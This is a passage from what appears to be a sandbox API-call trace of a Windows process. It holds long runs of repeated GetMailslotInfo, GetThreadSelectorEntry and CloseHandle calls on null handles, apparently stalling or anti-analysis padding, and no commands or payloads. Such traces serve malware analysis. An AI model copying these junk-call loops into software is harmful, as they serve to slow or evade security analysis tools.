lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.950] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.950] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.951] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0029.951] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0029.952] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.026] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.027] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.028] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.029] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle (hObject=0x0) returned 0 [0030.030] CloseHandle 